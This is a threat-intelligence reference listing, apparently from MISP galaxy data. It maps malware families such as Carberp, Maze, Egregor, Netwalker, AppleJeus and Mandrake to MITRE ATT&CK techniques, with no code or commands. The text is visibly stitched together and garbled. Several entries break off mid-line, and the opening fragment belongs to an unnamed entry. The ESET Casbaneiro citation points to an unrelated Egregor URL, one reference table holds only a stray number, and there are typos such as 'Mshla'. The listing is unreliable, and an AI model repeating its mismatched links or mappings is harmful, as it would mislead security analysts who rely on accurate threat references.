- uses: *misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 7117. Table References
Carberp - S0484

[Carberp](https://attack.mitre.org/software/S0484) is a credential and information stealing malware that has been active since at least 2009. [Carberp](https://attack.mitre.org/software/S0484)'s source code was leaked online in 2013, and subsequently used as the foundation for the [Carbanak](https://attack.mitre.org/software/S0030) backdoor.(Citation: Trend Micro Carberp February 2014)(Citation: Kaspersky Carbanak)(Citation: RSA Carbanak November 2017)

The tag is: *misp-galaxy:mitre-malware="Carberp - S0484"*

Carberp - S0484 is also known as:

- Carberp

View relationships graph

Carberp - S0484 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="VNC - T1021.005" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Credentials from Password Stores - T1555" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

Table 7118. Table References

Links

https://attack.mitre.org/software/S0484


Maze - S0449

[Maze](https://attack.mitre.org/software/S0449) ransomware, previously known as "ChaCha", was discovered in May 2019. In addition to encrypting files on victim machines for impact, [Maze](https://attack.mitre.org/software/S0449) operators conduct information stealing campaigns prior to encryption and post the information online to extort affected companies. (Citation: FireEye Maze May 2020) (Citation: McAfee Maze March 2020) (Citation: Sophos Maze VM September 2020)

The tag is: `misp-galaxy:mitre-malware="Maze - S0449"`

Maze - S0449 is also known as:

- Maze

View relationships graph

Maze - S0449 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
Zen - S0494

[Zen](https://attack.mitre.org/software/S0494) is Android malware that was first seen in 2013.(Citation: Google Security Zen)

The tag is: `misp-galaxy:mitre-malware="Zen - S0494"`

Zen - S0494 is also known as:

- Zen

View relationships graph
Zen - S0494 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Ptrace System Calls - T1631.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1404" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Runtime API Hijacking - T1625.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"

Table 7120. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0494">https://attack.mitre.org/software/S0494</a></td>
</tr>
<tr>
<td><a href="https://security.googleblog.com/2019/01/pha-family-highlights-zen-and-its.html">https://security.googleblog.com/2019/01/pha-family-highlights-zen-and-its.html</a></td>
</tr>
</tbody>
</table>

**TERRACOTTA - S0545**

[TERRACOTTA](https://attack.mitre.org/software/S0545) is an ad fraud botnet that has been capable of generating over 2 billion fraudulent requests per week. (Citation: WhiteOps TERRACOTTA)

The tag is: misp-galaxy:mitre-malware="TERRACOTTA - S0545"

TERRACOTTA - S0545 is also known as:

- TERRACOTTA

View relationships graph

TERRACOTTA - S0545 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-
Egregor - S0554

[Egregor](https://attack.mitre.org/software/S0554) is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between [Egregor](https://attack.mitre.org/software/S0554) and Sekhmet ransomware, as well as [Maze](https://attack.mitre.org/software/S0449) ransomware. (Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)(Citation: Security Boulevard Egregor Oct 2020)

The tag is: `misp-galaxy:mitre-malware="Egregor - S0554"`

Egregor - S0554 is also known as:

- Egregor
Egregor - S0554 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
Table 7122. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0554">https://attack.mitre.org/software/S0554</a></td>
</tr>
<tr>
<td><a href="https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/">https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/</a></td>
</tr>
<tr>
<td><a href="https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary">https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary</a></td>
</tr>
<tr>
<td><a href="https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/">https://securityboulevard.com/2020/10/egregor-sekhmets-cousin/</a></td>
</tr>
</tbody>
</table>

**Metamorfo - S0455**

[Metamorfo](https://attack.mitre.org/software/S0455) is a Latin-American banking trojan operated by a Brazilian cybercrime group that has been active since at least April 2018. The group focuses on targeting banks and cryptocurrency services in Brazil and Mexico. ([Citation: Medium Metamorfo Apr 2020](https://attack.mitre.org/software/S0455)) ([Citation: ESET Casbaneiro Oct 2019](https://cybleinc.com/2020/10/31/egregor-ransomware-a-deep-dive-into-its-activities-and-techniques/))

The tag is: `misp-galaxy:mitre-malware="Metamorfo - S0455"`

Metamorfo - S0455 is also known as:

- Metamorfo
- Casbaneiro

View relationships graph

Metamorfo - S0455 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mshla - T1218.005" with estimative-language:likelihood-probability="almost-certain"
uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 7123. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0455">https://attack.mitre.org/software/S0455</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/10/03/casbanelo-trojan-dangerous-cooking/">https://www.welivesecurity.com/2019/10/03/casbanelo-trojan-dangerous-cooking/</a></td>
</tr>
</tbody>
</table>

**BlackMould - S0564**

[BlackMould](https://attack.mitre.org/software/S0564) is a web shell based on [China Chopper](https://attack.mitre.org/software/S0020) for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by [GALLIUM](https://attack.mitre.org/groups/G0093) against telecommunication providers.(Citation: Microsoft GALLIUM December 2019)

The tag is: `misp-galaxy:mitre-malware="BlackMould - S0564"`

BlackMould - S0564 is also known as:

- BlackMould

View relationships graph

BlackMould - S0564 has relationships with:


- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-
ProLock - S0654

[ProLock](https://attack.mitre.org/software/S0654) is a ransomware strain that has been used in Big Game Hunting (BGH) operations since at least 2020, often obtaining initial access with [QakBot](https://attack.mitre.org/software/S0650). [ProLock](https://attack.mitre.org/software/S0654) is the successor to PwndLocker ransomware which was found to contain a bug allowing decryption without ransom payment in 2019.(Citation: Group IB Ransomware September 2020)

The tag is: *misp-galaxy:mitre-malware="ProLock - S0654"*

ProLock - S0654 is also known as:

- ProLock

View relationships graph

ProLock - S0654 has relationships with:


- uses: *misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

SharpStage - S0546

[SharpStage](https://attack.mitre.org/software/S0546) is a .NET malware with backdoor capabilities. (Citation: Cybereason Molerats Dec 2020) (Citation: BleepingComputer Molerats Dec 2020)

The tag is: `misp-galaxy:mitre-malware="SharpStage - S0546"`

SharpStage - S0546 is also known as:

- SharpStage

View relationships graph

SharpStage - S0546 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 7126. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0546">https://attack.mitre.org/software/S0546</a></td>
</tr>
</tbody>
</table>
**BendyBear - S0574**

[BendyBear](https://attack.mitre.org/software/S0574) is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, [BendyBear](https://attack.mitre.org/software/S0574) shares a variety of features with [Waterbear](https://attack.mitre.org/software/S0579), malware previously attributed to the Chinese cyber espionage group [BlackTech](https://attack.mitre.org/groups/G0098).(Citation: Unit42 BendyBear Feb 2021)

The tag is: `misp-galaxy:mitre-malware="BendyBear - S0574"`

BendyBear - S0574 is also known as:

- BendyBear

View relationships graph

BendyBear - S0574 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Query Registry - T1012"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001"` with estimative-language:likelihood-probability="almost-certain"

*Table 7127. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>4166</td>
</tr>
</tbody>
</table>
**BackConfig - S0475**

[BackConfig](https://attack.mitre.org/software/S0475) is a custom Trojan with a flexible plugin architecture that has been used by [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: Unit 42 BackConfig May 2020)

The tag is: `misp-galaxy:mitre-malware="BackConfig - S0475"`

BackConfig - S0475 is also known as:

- BackConfig

View relationships graph

BackConfig - S0475 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-language:likelihood-probability="almost-certain"

DropBook - S0547

[DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller. (Citation: Cybereason Molerats Dec 2020)

The tag is: `misp-galaxy:mitre-malware="DropBook - S0547"

DropBook - S0547 is also known as:

- DropBook

View relationships graph

DropBook - S0547 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7129. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0547">https://attack.mitre.org/software/S0547</a></td>
</tr>
</tbody>
</table>

Netwalker - S0457

[Netwalker](https://attack.mitre.org/software/S0457) is fileless ransomware written in PowerShell and executed directly in memory.(Citation: TrendMicro Netwalker May 2020)

The tag is: misp-galaxy:mitre-malware="Netwalker - S0457"

Netwalker - S0457 is also known as:

• Netwalker

View relationships graph

Netwalker - S0457 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Embedded Payloads - T1027.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 7130. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0457">https://attack.mitre.org/software/S0457</a></td>
</tr>
</tbody>
</table>

AppleJeus - S0584

[AppleJeus](https://attack.mitre.org/software/S0584) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://attack.mitre.org/software/S0584) has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://attack.mitre.org/software/S0584) has been used to distribute the [FALLCHILL](https://attack.mitre.org/software/S0181) RAT.(Citation: CISA AppleJeus Feb 2021)

The tag is: misp-galaxy:mitre-malware="AppleJeus - S0584"

AppleJeus - S0584 is also known as:

• AppleJeus
View relationships graph

AppleJeus - S0584 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Installer Packages - T1546.016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with
Mandrake - S0485

[Mandrake](https://attack.mitre.org/software/S0485) is a sophisticated Android espionage platform that has been active in the wild since at least 2016. [Mandrake](https://attack.mitre.org/software/S0485) is very actively maintained, with sophisticated features and attacks that are executed with surgical precision.

[Mandrake](https://attack.mitre.org/software/S0485) has gone undetected for several years by providing legitimate, ad-free applications with social media and real reviews to back the apps. The malware is only activated when the operators issue a specific command.(Citation: Bitdefender Mandrake)

The tag is: *mis-p-galaxy:mitre-malware="Mandrake - S0485"

Mandrake - S0485 is also known as:

- Mandrake
- oxide
- briar
- ricinus
- darkmatter

View relationships graph

Mandrake - S0485 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"


- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1629.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1544" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Foreground Persistence - T1541" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1481.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1509" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1630.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Prevent Application Removal - T1629.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"


